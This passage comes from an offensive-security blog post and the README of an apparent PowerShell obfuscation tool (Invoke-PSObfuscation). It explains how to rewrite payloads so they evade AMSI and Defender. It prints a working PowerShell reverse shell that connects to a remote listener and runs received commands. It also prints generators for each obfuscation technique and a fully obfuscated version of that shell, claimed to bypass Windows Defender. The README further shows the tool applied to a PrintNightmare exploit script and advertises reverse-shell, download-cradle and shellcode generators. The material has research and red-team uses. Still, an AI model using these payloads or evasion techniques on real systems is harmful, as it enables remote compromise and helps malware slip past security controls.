reverse virtually anything that can be split into a character array. You'll see this more often with base64 encoded strings, however, you can also store reversed commands within a payload as well. https://docs.microsoft.com/en-us/powershell/scripting/learn/deep-dives/everything-about-arrays?view=powershell-7.1 ```powershell # Generator $Command = 'Write-Output "Try Harder"'.ToCharArray() $Reversed = @() ($Command.length - 1)..0 | ForEach-Object { $Reversed += $Command[$_] } $Reversed = $Reversed -join '' # Launcher $Reversed = '"redraH yrT" tuptuO-etirW' $Normal = @() ($Reversed.length - 1)..0 | ForEach-Object { $Normal += $Reversed[$_] } $Normal = $Normal -join '' Invoke-Expression $Normal ``` ## Layer 0 Obfuscation While layered approaches can have varied degrees of success, you will be more effective by learning different ways to represent the code within your payloads before wrapping them in layers such as what was illustrated previously. Let's consider the following command that was used in our previous samples: `Write-Output "Try Harder"`. With this code, we could change it up in a variety of ways such as: 1. Obfuscating the cmdlet 'Write-Output' 2. Obfuscating the string 'Try Harder' 3. Combining the first two items together Let's see this in action: #### Obfuscating the cmdlet 'Write-Output' This will take a given string and split each character down into it's ASCII equivalent. When you pass a string with `&` or the call operator, it will effectively execute that command. Because of this, you can form the cmdlet in any form so long as the resulting object reflects the cmdlet in question. ```powershell # Generator $Cmdlet = 'Write-Output' $NewValue = '& ([string]::join('''', ( (' + (([int[]][char[]]$Cmdlet | ForEach-Object {$_}) -join ',') + ') |%{ ( [char][int] $_)})))' # Launcher & ([string]::join('', ( (87,114,105,116,101,45,79,117,116,112,117,116) |%{ ( [char][int] $_)}))) "Try Harder" ``` #### Obfuscating the string 'Try Harder' You can do so much with strings. In this example, it will split the given string into it's given ASCII value, then concatentate them together within an expression grouping operator `$()`. When this runs, the resulting object is seen as the intended string, therefor outputing our intended when combined with the write-output cmdlet. ```powershell # Generator $String = 'Try Harder' $NewValue = '$(' + (([int[]][char[]]$String | ForEach-Object { "[char]$($_)" }) -join '+') + ')' # Launcher Write-Output $([char]84+[char]114+[char]121+[char]32+[char]72+[char]97+[char]114+[char]100+[char]101+[char]114) ``` #### Combining our obfuscated components together Taking the magic from both of these samples, we can combine them into a single command that effectively hides our original command. ```powershell & ([string]::join('', ( (87,114,105,116,101,45,79,117,116,112,117,116) |%{ ( [char][int] $_)}))) $([char]84+[char]114+[char]121+[char]32+[char]72+[char]97+[char]114+[char]100+[char]101+[char]114) ``` While we have clearly altered the original code, we have achieved the intended output without encapsulating our entire payload. At this point, you need to determine whether or not you obfuscating your code at this level is enough, or if want to wrap your payload within additional layers. Keep in mind that if you go through route, ensure each layer is obscured to a degree. ![Alt text](./screenshots/layer-0-examples.png "layer-0-examples") ## Breaking Down a Reverse Shell Let’s move into a more practical example by breaking down the vanilla PowerShell reverse shell. There are lots of components within PowerShell scripts that can be represented differently. While some components are obvious and straight forward, others exist that you may or may not have thought about changing. Let's familiarize ourselves with the raw payload. To keep it readable, I have converted the one-liner to a multi-line derivative. This payload will establish a connection from the machine it was launched on to a listening socket on a remote computer. While the connection is established, the machine it was intiated on will execute commands sent from the remote machine and will send the response back through the connection. With the design of the sendback variables, it will look just like the typical PowerShell command line. ```powershell $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80) $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) $sendback = (iex $data 2>&1 | Out-String ) $sendback2 = $sendback + "PS " + (pwd).Path + "> " $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() ``` ### Payload Components Nearly all the components of a payload can be represented differently. Anything from string manipulation or pipeline chaining is fair game. Let's take a look at the components we will be targeting from the reverse shell payload. * Aliases (iex) * Cmdlets (New-Object) * Integers (4444) * Methods ($client.GetStream()) * Namespace Classes (System.Net.Sockets.TCPClient) * Pipes (|) * Pipeline Variables ($_) * Socket IP (New-Object System.Net.Sockets.TCPClient("10.10.10.10",80)) * Strings ("value" | 'value') * Variables ($client) ### Generators This is where the real fun begins and where you can let your creativity shine. What we'll do here is for each componented listed above, I will provide a sample generator that will provide a new value to take it's place. Handling each component separetely will enable us to drastically expand upon this approach, which I'll get into later. ### Aliases Aliases are simply just shortcuts to an intended cmdlet. For example, the alias `iex` translate to `invoke-expression`. This is trivial to identify. Aliases are just as simple to identify as cmdlets so using them to try to slip through the cracks isn't very feasable. Because of this, I resolve them into their intended cmdlet to be handled differently. https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_aliases?view=powershell-7.1 ```powershell PS /home/tristram/Obfuscation> Get-Alias iex,pwd CommandType Name Version Source ----------- ---- ------- ------ Alias iex -> Invoke-Expression Alias pwd -> Get-Location ``` ### Cmdlets Within the context of PowerShell, cmdlets are essentially just commands. Due to the continued support of the call operator `&`, we have plenty of wiggle room to come up with new ways to represent a cmdlet so long as the passed value evaluates to a valid cmdlet. https://ss64.com/ps/call.html ```powershell # Generator $cmdlet = 'invoke-expression' # All valid characters in a cmdlet name $valid = ('-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Sort-Object { Get-Random }) -join '' $replaceWith = $valid.ToCharArray() $extractedCharArray = @() $cmdletCharArray = $cmdlet.ToCharArray() # Loop through each character within each command ForEach ($char in $cmdletCharArray) { If ($char -in $replaceWith) { $extractedCharArray += $([array]::IndexOf($replaceWith, $char)) } } $NewValue = "& ((""$valid"")[$($extractedCharArray -join ',')] -join '')" # New Value & (("3oFAIQdPcNvzU72CELRwGlMTDxfe1iVtp8OuWq-jsYyJHSakm69nb5XBZg4K0hr")[29,51,10,1,47,27,38,27,25,32,62,27,40,40,29,1,51] -join '') ``` ### Integers These are simply just numeric values. One of the ways we change these static values is to incorporate them into arthmetic operators that evalute to the intended value. For example, using PowerShell, we can represent the integer `1` as `$(1000-100-500-300-90+20-29)`. You need to be careful when dealing with integers with powershell. For example, `'80'` and `80` are different object types and you could break your payload. https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_arithmetic_operators?view=powershell-7.1 ```powershell # Generator $integer = 80 $newValue = $integer (1..(1..10 | Get-Random) | ForEach-Object { # Plus or Minus switch ((1..2 | Get-Random)) { 1 { $operator = '+' } 2 { $operator = '-' } } # Left or Right switch ((1..2 | Get-Random)) { 1 { $newValue = "0$operator$newValue" } 2 { $newValue = "$newValue$operator0" } } } ) # Ensure we do not create negative values if ($newValue -like "*0-$integer*" ) { switch ((1..2 | Get-Random)) { 1 { $newValue = '$' + "($newValue+$integer+$integer)" } 2 { $newValue = '$' + "($integer+$integer+$newValue)" } } } else { $newValue = '$' + "($newValue)" } # New Value $(0-80+80+80) ``` ### Methods Methods are simply actions that we can perform against a preceding object. For example, we can use `Get-Process Notepad` to obtain a process object. One of the methods we can execute on this object is `kill` to effectively shutdown this process, ie `(Get-Process Notepad).Kill()`. https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_methods?view=powershell-7.1 ```powershell # Generator $Method = '$client.close()' $CharArrayString = ($Method.ToCharArray() | ForEach-Object { [int][char]$_ }) -join "," $NewValue = ' ([string]::join('''', ( () |%{ ( [char][int] $_)})) | % {$_})' -replace '', $CharArrayString -replace '', '& (("H7zdxIAG6PlRgvqZspJ2Fi1cMnOjKEV-kwWQaSfoh9tuYU3me0r4NXTBLy85DCb")[21,25,13,39,32,48,31,48,4,17,50,48,16,16,21,39,25] -join '')' # New Value & (("H7zdxIAG6PlRgvqZspJ2Fi1cMnOjKEV-kwWQaSfoh9tuYU3me0r4NXTBLy85DCb")[21,25,13,39,32,48,31,48,4,17,50,48,16,16,21,39,25] -join ') ([string]::join('', ( (36,99,108,105,101,110,116,46,99,108,111,115,101,40,41) |%{ ( [char][int] $_)})) | % {$_}) ``` ### Namespace Classes The `New-Object` cmdlet allows us to creates instances of various types of objects. Within the reverse shell we have already taken care of the cmdlet itself, which leaves the class declaration. This is effectively just a matter of being fancy with string manipulation. If you look at our previous use case with `Write-Output "Try Harder"`, this is the same concept. https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/new-object?view=powershell-7.1 https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_classes?view=powershell-7.1 ```powershell # Generator $NamespaceClass = 'System.Net.Sockets.TCPClient' $Chars = ([int[]][char[]]$NamespaceClass | ForEach-Object { $OrigChar = $_ $Random = 1..122 | Get-Random $Iteration = (1..3 | get-random) if ($Iteration -eq 1) { "[char]($Random+$OrigChar-$Random)" } elseif (($Iteration -eq 2)) { "[char]($Random*$OrigChar/$Random)" } elseif (($Iteration -eq 3)) { "[char](0+$OrigChar-0)" } }) -join '+' $NewValue = '$()' -replace '', $Chars # New Value $([char](63*83/63)+[char](0+121-0)+[char](104*115/104)+[char](108*116/108)+[char](50*101/50)+[char](0+109-0)+[char](71*46/71)+[char](28+78-28)+[char](84+101-84)+[char](118+116-118)+[char](89+46-89)+[char](51+83-51)+[char](65*111/65)+[char](111*99/111)+[char](0+107-0)+[char](104*101/104)+[char](16+116-16)+[char](61*115/61)+[char](47+46-47)+[char](32+84-32)+[char](33+67-33)+[char](37+80-37)+[char](10*67/10)+[char](76*108/76)+[char](3*105/3)+[char](91+101-91)+[char](71+110-71)+[char](69+116-69)) ``` ### Pipes Pipes, or pipeline operators, takes the results from one command and passes it to another object. This allows you to seemlessly integerate logic between different powershell commands. For example, `Get-Service` will provide you every service on the device, but if you pipe it you `Where-Object`, you can apply logic to only get a specific service object back, ie `Get-Service | Where-Object { $_.Name -eq 'bits' }`, otherwise it will output every service. https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_pipelines?view=powershell-7.1 ```powershell # Generator Switch (Get-Random -Minimum 1 -Maximum 6) { 1 { $NewValue = '|%{$_}|' } 2 { $NewValue = '|%{;$_}|' } 3 { $NewValue = '|%{$_;}|' } 4 { $NewValue = '|%{;$_;}|' } 5 { $NewValue = '|<##>%{$_}<##>|' } # New Value |%{;$_}| ``` ### Pipeline Variables Pipeline variables are the values the store the current object within a pipeline operation. Using our previous example with pipes, the pipeline variable `$_` is used to determine whether or not the current object's name is bits. Keep in mind that obfuscation isn't just about masking content, but making it harder to understand by surrounding it with obligatory values. https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_automatic_variables?view=powershell-7.1 ```powershell # Generator Switch ((Get-Random -Minimum 1 -Maximum 6)) { 1 { $NewValue = '<##>$_' } 2 { $NewValue = '$_<##>' } 3 { $NewValue = '<##>$_<##>' } 4 { $NewValue = '<##>$($_)' } 5 { $Random1 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>') $NewValue = '<#1#>$_' -replace '<#1#>', $Random1 } } # New Value <##>$($_) ``` ### Socket Listener IP Typically with your socket client declarations, IE `$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80)`, the IP is a string and the port is an integer, which would fall under different component types. However, I like to handle them differently. It's not a necessity though, just an extra step. ```powershell # Generator $ipAddress = "10.10.10.10" $randomSet = 1..4 | ForEach-Object { (((48..57) + (65..90) + (97..122) | Get-Random -Count (5..25 | Get-Random) | ForEach-Object { [char]$_ }) -join '') } $validSet = $ipAddress.split('.') $stage1 = '"' + ($randomSet -join '.') + '"' 0..3 | ForEach-Object { $ro = $($randomSet[$_]) $vo = $($validSet[$_]) $stage2 += ".replace('$ro',$vo)" } $newValue = "$stage1.replace$(($Stage2 -split '.replace' | ? {$_} | sort-object {get-random}) -join '.replace')" # New Value "JNtT3Y9z6LRjVGoU7MgD4OrQ.Txr1l6Mghd8ntYEV3oAkHwR.pIc2CSBi7ga6Z.ALwSbKxoVU".replace('I8rWN0',10).replace('ytsOhBMvTD2SQ5FnXmbzY7',10).replace('pIc2CSBi7ga6Z',10).replace('ALwSbKxoVU',10).replace('KGDi56aYENHfe3xLAbP',10).replace('jROhMQpqkYxUSl',10).replace('JNtT3Y9z6LRjVGoU7MgD4OrQ',10).replace('Txr1l6Mghd8ntYEV3oAkHwR',10).replace('ytsOhBMvTD2SQ5FnXmbzY7',10).replace('I8rWN0',10).replace('jROhMQpqkYxUSl',10).replace('KGDi56aYENHfe3xLAbP',10) ``` ### Strings Strings can be fun to work with because you can do virtually anything you want. This method will convert a string into individual characters and concatentate them together with the `+` operation. After that's finished, it'll wrap the value within a random amount of ground operations. https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_quoting_rules?view=powershell-7.1 ```powershell # Generator $string = 'PS ' $newValue = ((($string -replace '''') -split '') -join "'+'") $newValue = $newValue.Substring(2, $newValue.Length - 4) $count = 1..3 | Get-Random $iterations = 1 while ($iterations -le $count) { # Subexpression operator if ((1..2 | Get-Random) -eq 1) { $newValue = '$(' + $newValue + ')' } # Grouping Expression operator else { $newValue = '(' + $newValue + ')' } $iterations++ } # New Value ($(('P'+'S'+' '))) ``` ### Variables Variables are tricky as you are relatively limited on what you can do. What I typically like to is to take each variable and generate a random name to replace it. This will select up to 25 numbers at random from the given alpha-numerical set and concatenating them together and append the resulting value to the `$` symbol to form a proper variable name. https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_automatic_variables?view=powershell-7.1 ```powershell # Generator $NewValue = '$' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') # New Value $e3PV2fUKDR ``` ### Final Payload Putting all these different techniques together, we have transformed our payload into a newly obfuscated payload. ```powershell $RIh2YMeUrLleflu = & (("bkJFpDG8iOerRVvo9xzsfjABHPgI5WYq4-$(0+6)h3ynN1aTEKXudm27LQlwtMCc0SUZ")[$(0-0+0-39+39+39),$(0-0+0+10),$(54),$(0-0+33),$(0+0+0-0+0-9+9+9),$(0+0+0),21,$(0-0+0+10),$($(58)),(55)] -join '') $([char]($(0+6)*$(83)/$(0+6))+[char]($(46+46+0-0-46)+$(121+121+0+0-121)-$(46+46+0-0-46))+[char]($(0-0+0-0-102+102+102)*$(0-0+0+115)/$(0-0+0-0-102+102+102))+[char]($(0+0+0)+$(116)-$(0+0+0))+[char]($(0+0-0-0+3)+(((101)))-$(0+0-0-0+3))+[char]($(((28)))*(109)/$(((28))))+[char]($(1)*$(46+46+0-0-46)/$(1))+[char]($(0+0+0)+$(0-0+0-0-0+78)-$(0+0+0))+[char]($(0+0+0+19)+(((101)))-$(0+0+0+19))+[char](118+$(116)-118)+[char]($(0-0+0-39+39+39)*$(46+46+0-0-46)/$(0-0+0-39+39+39))+[char]($(0+0+0)+$(83)-$(0+0+0))+[char]($(15+15+0+0+0+0-15)*$((111))/$(15+15+0+0+0+0-15))+[char]($(11)*$(0+0+0+99)/$(11))+[char]($(0+0+0)+$(0+0-107+107+107)-$(0+0+0))+[char](24+(((101)))-24)+[char]($((75))*$(116)/$((75)))+[char]($(60)*$(0-0+0+115)/$(60))+[char]($(0+0+0)+$(46+46+0-0-46)-$(0+0+0))+[char]($(0+0+0)+84-$(0+0+0))+[char]($(0+0+0)+$($($(67)))-$(0+0+0))+[char]($($(100))+80-$($(100)))+[char]($(0-0-0-5+5+5)+$($($(67)))-$(0-0-0-5+5+5))+[char]($(0+0+0+19)*$(108)/$(0+0+0+19))+[char]($(94+94+0-0+0-94)+(($(105)))-$(94+94+0-0+0-94))+[char]($(0+0+0+0+113)+(((101)))-$(0+0+0+0+113))+[char]($(108)+110-$(108))+[char]($(0+0+0)+$(116)-$(0+0+0)))("Eztpe9HAJhx0CsSoVdQai.inkFe35GxjHEZugbD17Ur.fLgCcGp4z.H2RDbaXwLSUzI46Oo8xA".replace('fLgCcGp4z',0).replace('Eztpe9HAJhx0CsSoVdQai',127).replace('inkFe35GxjHEZugbD17Ur',0).replace('H2RDbaXwLSUzI46Oo8xA',1),4444);$VQzo0MZvYst = (& (("Kq6lEhs17kBIGeSjvXwAr4cYnfT5WLPRxOyZQd8U-b9omziMCgu3J0FpVaHDN2t")[$(46+46+0-0-46),24,$(0-0+0+16),$(43),$(0+0+0-0+0-9+9+9),(13),(($(40))),(13),$(32+32+0+0-32),(55),$(20),(13),$(0+6),$(0+6),$(46+46+0-0-46),$(43),24] -join '') ([string]::join('', ( (36,$(82),73,$(104),(((50))),$(0+0+89),$(77),(((101))),(($(85))),$(0+0-0+114),$(0-0+76),$(108),(((101))),$(0-0+0-0-102+102+102),$(108),$(117+117+0+0-0+0-117),$(46+46+0-0-46),$(71),(((101))),$(116),$(83),$(116),$(0+0-0+114),(((101))),$((97)),(109),(($(40))),41) |%{ ( [char][int] $_)})) | % {$_}));[byte[]]$aKydB9RXv2thuU = $(0+0+0)..$($($(65535)))|<##>%{<#$(0+0-0-0+3)GT4BWEX1Kon2#>$_}|& (("NAMCqn9H23mOzfrZeP461KyWULshapxR-jIJviEo0kQtFDlGwuST7dBcVbYg8X5")[(44),$(0-0+0-39+39+39),$(14),(((38))),$(((28))),(55),$(27+27+0+0+0-27),$(32+32+0+0-32),$(11),($((57))),$(0-0+33),$(0-0+0+16),(55),$(43)] -join ''){$(0+0+0)};while(($cvB4PPcLVI = $VQzo0MZvYst.Read($aKydB9RXv2thuU, $(0+0+0), $aKydB9RXv2thuU.Length)) -ne $(0+0+0)){;$WcDamZqInJS7HDr3 = (& (("bkJFpDG8iOerRVvo9xzsfjABHPgI5WYq4-$(0+6)h3ynN1aTEKXudm27LQlwtMCc0SUZ")[$(0-0+0-39+39+39),$(0-0+0+10),$(54),$(0-0+33),$(0+0+0-0+0-9+9+9),$(0+0+0),21,$(0-0+0+10),$($(58)),(55)] -join '') -TypeName $([char]($(116)+$(83)-$(116))+[char]($(0+0+0)+$(121+121+0+0-121)-$(0+0+0))+[char]((($(85)))*$(0-0+0+115)/(($(85))))+[char]($(0+0+52)+$(116)-$(0+0+52))+[char]($(43)+(((101)))-$(43))+[char]($(14)+(109)-$(14))+[char](24+$(46+46+0-0-46)-24)+[char]($(0+0+0)+84-$(0+0+0))+[char]($(0+0+0)+(((101)))-$(0+0+0))+[char]($(0+0+0)+$(0-120+120+120)-$(0+0+0))+[char](24+$(116)-24)+[char](($((57)))+$(46+46+0-0-46)-($((57))))+[char]($(0+0+0)+((65))-$(0+0+0))+[char]($(121+121+0+0-121)+$(83)-$(121+121+0+0-121))+[char]($(0+0+0)+$($($(67)))-$(0+0+0))+[char]($(0+0-0+47)*73/$(0+0-0+47))+[char]($((75))+73-$((75)))+[char]($(0+0-0-0+3)*69/$(0+0-0-0+3))+[char]($(0+0-0-0+3)*110/$(0+0-0-0+3))+[char]($(0+0+0)+$(0+0+0+99)-$(0+0+0))+[char]($(94+94+0-0+0-94)*$((111))/$(94+94+0-0+0-94))+[char]((109)*$($(100))/(109))+[char]($(0+0+0)+(($(105)))-$(0+0+0))+[char](((61))+110-((61)))+[char]($(23+23+0+0+0-0-23)+$(0+0-0+0-103+103+103)-$(23+23+0+0+0-0-23)))).GetString($aKydB9RXv2thuU,$(0+0+0), $cvB4PPcLVI);$FP8DpgPcK0IovuDHPZ4p = (& (("jc79lahBD50zmLSoGOAWJ6bEVTCZn-gfHRqQIs83k1KMyvYi2UPxdwFrptueX4N")[36,$(((28))),$(($(45))),$(15+15+0+0+0+0-15),(($(40))),$(0+0-0-0+59),$(29),$(23+23+0+0+0-0-23),($(51)),($($(56))),(55),$(0+0-0-0+59),$((37)),$((37)),$(0+0-0+47),$(15+15+0+0+0+0-15),$(((28)))] -join '') $WcDamZqInJS7HDr3 2>&1 |<##>%{<#c8jKdSaJDXH#>$_}| & (("r2-$(0-0-0-5+5+5)kGjMq4wbPSpReXc3861oBCfYULI0nEhaTvylDxHWuzVJsA79igmtNKdFOQZ")[$(60),(44),(55),$(0-0+2),(13),(55),$(0+0+0),$(0+0+52),$(32+32+0+0-32),$(53+53+0-53)] -join '') );$FP8DpgPcK0IovuDHPZ4p2 = $FP8DpgPcK0IovuDHPZ4p + 'P'+'S'+' ' + (& (("Xm965ksBJzH0P4Tx3fq-uV2YDWvw1pGA8OQdEoUiZyIKRbL7tMjNnerlacgCFhS")[$($(30)),$(53+53+0-53),$(0+48),$(0+0+0+19),$(46+46+0-0-46),$((37)),($((57))),($($(56))),$(0+48),$(0-0+0-39+39+39),$((37)),$(0+0+52)] -join '')).Path + $('>'+' ');$6j = ([text.encoding]::ASCII).GetBytes($FP8DpgPcK0IovuDHPZ4p2);$VQzo0MZvYst.Write($6j,$(0+0+0),$6j.Length);& (("kOlASeNV-$(0+0+0-0+0-9+9+9)oIy0izxUGYCWLq1Bm7EuH3dK6rjPc8shnJMtwQR45XTpbfDFaZ2gv")[$(14),$(0+0-0-0+0-42+42+42),$(0+0+0+62),$(0-0+0+10),$(0+0+0),$(0-0-0-5+5+5),(8),$(0-0-0-5+5+5),$(0-0+0+16),$(53+53+0-53),35,$(0-0-0-5+5+5),(($(40))),(($(40))),$(14),$(0-0+0+10),$(0+0-0-0+0-42+42+42)] -join '') ([string]::join('', ( (36,$(86),$(81+81+0+0-81),$(122),$((111)),$(0+48),$(77),$(((90))),118,$(0+0+89),$(0-0+0+115),$(116),$(46+46+0-0-46),$($(70)),$(108),$(117+117+0+0-0+0-117),$(0-0+0+115),$(104),(($(40))),41) |%{ ( [char][int] $_)})) | % {$_})};& (("$(0-0-0-5+5+5)h7KWXyczN0sentgPElZ-QviSjuR9L1mdf3pDVTUo8Gqk4CYrHxBA2baIw6MFOJ")[$(23+23+0+0+0-0-23),(13),$($($(22))),(($(40))),(44),12,$(20),12,(((50))),35,$(0+48),12,$(11),$(11),$(23+23+0+0+0-0-23),(($(40))),(13)] -join '') ([string]::join('', ( (36,$(82),73,$(104),(((50))),$(0+0+89),$(77),(((101))),(($(85))),$(0+0-0+114),$(0-0+76),$(108),(((101))),$(0-0+0-0-102+102+102),$(108),$(117+117+0+0-0+0-117),$(46+46+0-0-46),$($($(67))),$(108),$((111)),$(0-0+0+115),(((101))),(($(40))),41) |%{ ( [char][int] $_)})) | % {$_}) ``` If you were to copy this payload over to an IDE such as Visual Studio Code, you may see some odd errors. One of the lessons learned from this approach is that if your IDE can't even determine whether or not certain characters exist (until it's executed) then the chances of AMSI being effective is less than likely. If you'd like to test this payload yourself, it's set to connect to 127.0.0.1 on port 4444. ## Stepping into the gauntlet To demonstrate the effectiveness of this approach, let's put it to the test against a fully patched Windows 10 Enterprise machine with all the default Defender options enabled. We'll start off by using the vanilla reverse shell. The plain text version of the shell is blocked as expected, however, our obfuscated payload is free to run at will. ### Windows 10 Version + Defender Status ![Alt text](./screenshots/w10-defender-status.png "w10-defender-status") ### AMSI Blocked ![Alt text](./screenshots/amsi-blocked.png "amsi-blocked") ### AMSI Bypassed ![Alt text](./screenshots/amsi-bypassed.png "amsi-bypassed") ## Invoke-PSObfuscation.ps1 Within this blog post I shared a lot of code snippets. While it may be fun for some (yes, I said fun!), to execute them individually to build out your payload for each component instance, it's not really time effective. To help automate the layer 0 strategies I discussed here I have written Invoke-PSObfuscation.ps1 to share with the Offensive Security Community. With each component I have shown you a single generator and they may not survice the test of time as AV vendors improve their detection methods. To aid in the integrity of this approach, each supported component has its own dedicated generator that contains a variety of possible static or dynamically generated values that are randomly selected during each invocation. This adds a degree of randomness each time you run this tool against a given payload so each iteration will be different. If an algorithm related to a specific component starts to get flagged, the current design allows us to easily modify the logic for that generator without compromising the entire script. If would like to see how far down the rabbit hole goes, you can look at this tool in more detail here https://github.com/gh0x0st/Invoke-PSObfuscation ## Wrapping Up As quickly as new obfuscation techniques appear so do the controls that impact their effectiveness. This alone should teach every one of us to keep one foot in the door of being comfortable and the other on the side of trying to find new ways to accomplish the same goal. ## Resources * (Microsoft, 2019): https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal * (Microsoft, 2019): https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps * (Microsoft, 2019): https://docs.microsoft.com/en-us/windows/win32/amsi/dev-audience * (Microsoft, 2021): https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.1 * (Microsoft, 2020): https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_character_encoding?view=powershell-7.1 * (Microsoft, 2021): https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/select-string?view=powershell-7.1 * (Microsoft, 2020): https://docs.microsoft.com/en-us/powershell/scripting/developer/cmdlet/cmdlet-overview?view=powershell-7.1 ================================================ FILE: readme.md ================================================ # Invoke-PSObfuscation Traditional obfuscation techniques tend to add layers to encapsulate standing code, such as base64 or compression. These payloads do continue to have a varied degree of success, but they have become trivial to extract the intended payload and some launchers get detected often, which essentially introduces chokepoints. The approach this tool introduces is a methodology where you can target and obfuscate the individual components of a script with randomized variations while achieving the same intended logic, without encapsulating the entire payload within a single layer. Due to the complexity of the obfuscation logic, the resulting payloads will be very difficult to signature and will slip past heuristic engines that are not programmed to emulate the inherited logic. While this script can obfuscate most payloads successfully on it's own, this project will also serve as a standing framework that I will to use to produce future functions that will utilize this framework to provide dedicated obfuscated payloads, such as one that only produces reverse shells. I wrote a blog piece for Offensive Security as a precursor into the techniques this tool introduces. Before venturing further, consider giving it a read first: https://www.offensive-security.com/offsec/powershell-obfuscation/ ## Dedicated Payloads As part of my on going work with PowerShell obfuscation, I am building out scripts that produce dedicated payloads that utilize this framework. These have helped to save me time and hope you find them useful as well. You can find them within their own folders at the root of this repository. 1. Get-ReverseShell 2. Get-DownloadCradle 3. Get-Shellcode ## Components Like many other programming languages, PowerShell can be broken down into many different components that make up the executable logic. This allows us to defeat signature-based detections with relative ease by changing how we represent individual components within a payload to a form an obscure or unintelligible derivative. Keep in mind that targeting every component in complex payloads is very instrusive. This tool is built so that you can target the components you want to obfuscate in a controlled manner. I have found that a lot of signatures can be defeated simply by targeting cmdlets, variables and any comments. When using this against complex payloads, such as print nightmare, keep in mind that custom function parameters / variables will also be changed. Always be sure to properly test any resulting payloads and ensure you are aware of any modified named paramters. Component types such as pipes and pipeline variables are introduced here to help make your payload more obscure and harder to decode. **Supported Types** * Aliases (iex) * Cmdlets (New-Object) * Comments (# and <# #>) * Integers (4444) * Methods ($client.GetStream()) * Namespace Classes (System.Net.Sockets.TCPClient) * Pipes (|) * Pipeline Variables ($_) * Strings ("value" | 'value') * Variables ($client) ## Generators Each component has its own dedicated generator that contains a list of possible static or dynamically generated values that are randomly selected during each execution. If there are multiple instances of a component, then it will iterative each of them individually with a generator. This adds a degree of randomness each time you run this tool against a given payload so each iteration will be different. The only exception to this is variable names. If an algorithm related to a specific component starts to cause a payload to flag, the current design allows us to easily modify the logic for that generator without compromising the entire script. ```powershell $Picker = 1..6 | Get-Random Switch ($Picker) { 1 { $NewValue = 'Stay' } 2 { $NewValue = 'Off' } 3 { $NewValue = 'Ronins' } 4 { $NewValue = 'Lawn' } 5 { $NewValue = 'And' } 6 { $NewValue = 'Rocks' } } ``` ## Requirements This framework and resulting payloads have been tested on the following operating system and PowerShell versions. The resulting reverse shells will not work on PowerShell v2.0 | PS Version | OS Tested | Invoke-PSObfucation.ps1 | Reverse Shell | -------------- | :--------- | :--------- | :--------- | | 7.1.3 | Kali 2021.2 | Supported | Supported | 5.1.19041.1023 | Windows 10 10.0.19042 | Supported | Supported | 5.1.21996.1 | Windows 11 10.0.21996 | Supported | Supported ## Usage Examples ### CVE-2021-34527 (PrintNightmare) ```shell ┌──(tristram㉿kali)-[~] └─$ pwsh PowerShell 7.1.3 Copyright (c) Microsoft Corporation. https://aka.ms/powershell Type 'help' to get help. PS /home/tristram> . ./Invoke-PSObfuscation.ps1 PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1 >> Layer 0 Obfuscation >> https://github.com/gh0x0st [*] Obfuscating namespace classes [*] Obfuscating cmdlets [*] Obfuscating variables [-] -DriverName is now -QhYm48JbCsqF [-] -NewUser is now -ybrcKe [-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth [-] -DLL is now -dNr [-] -ModuleName is now -jd [-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o [-] -Type is now -fjTOTLDCGufqEu [-] -FullName is now -0vEKnCqm [-] -EnumElements is now -B9aFqfvDbjtOXPxrR [-] -Bitfield is now -bFUCG7LB9gq50p4e [-] -StructFields is now -xKryDRQnLdjTC8 [-] -PackingSize is now -0CB3X [-] -ExplicitLayout is now -YegeaeLpPnB [*] Removing comments [*] Writing payload to o-printnightmare.ps1 [*] Done PS /home/tristram> ``` ### PowerShell Reverse Shell ```powershell $client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` ```shell ┌──(tristram㉿kali)-[~] └─$ pwsh PowerShell 7.1.3 Copyright (c) Microsoft Corporation. https://aka.ms/powershell Type 'help' to get help. PS /home/tristram> . ./Invoke-PSObfuscation.ps1 PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges >> Layer 0 Obfuscation >> https://github.com/gh0x0st [*] Obfuscating integers 